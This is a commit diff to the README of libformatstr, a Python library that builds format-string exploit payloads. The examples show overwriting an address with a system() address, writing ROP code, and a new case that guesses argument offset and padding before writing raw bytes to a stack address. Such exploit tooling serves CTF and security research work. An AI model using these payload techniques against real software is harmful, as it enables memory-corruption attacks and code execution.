8
8
9
9
* Case 1 - replace one dword:
10
10
11
- < pre >
11
+ ``` python
12
12
import sys
13
13
from libformatstr import FormatStr
14
14
@@ -19,12 +19,12 @@ p = FormatStr()
19
19
p[addr] = system_addr
20
20
21
21
# buf is 14th argument, 4 bytes are already printed
22
- sys.stdout.write( p.payload(14, 4) )
23
- </ pre >
22
+ sys.stdout.write( p.payload(14 , start_len = 4 ) )
23
+ ```
24
24
25
25
* Case 2 - put ROP code somewhere:
26
26
27
- < pre >
27
+ ``` python
28
28
import sys
29
29
from libformatstr import FormatStr
30
30
@@ -34,7 +34,29 @@ p = FormatStr()
34
34
p[addr] = rop
35
35
36
36
sys.stdout.write( p.payload(14 ) )
37
- </pre >
37
+ ```
38
+
39
+ * Case 3 - guess argument number and padding:
40
+
41
+ ``` python
42
+ import sys
43
+ from libformatstr import FormatStr
44
+
45
+ # let's say we have do_fmt function,
46
+ # which gives us only output of format string
47
+ # (you can also just copy fmtstr and output manually)
48
+
49
+ buf_size = 250 # fix buf_size to avoid offset variation
50
+ res = do_fmt(make_pattern(buf_size))
51
+ argnum, padding = guess_argnum(res, buf_size)
52
+
53
+ # of course you can use it in payload generation
54
+
55
+ p = FormatStr(buf_size)
56
+ p[0x bffffe70 ] = " \x70\xfe\xff\xbf\xeb\xfe " # yes, you can also put strings
57
+
58
+ sys.stdout.write( p.payload(argnum, padding, 3 ) ) # we know 3 bytes were printed already
59
+ ```
38
60
39
61
About
40
62
---------------------
0 commit comments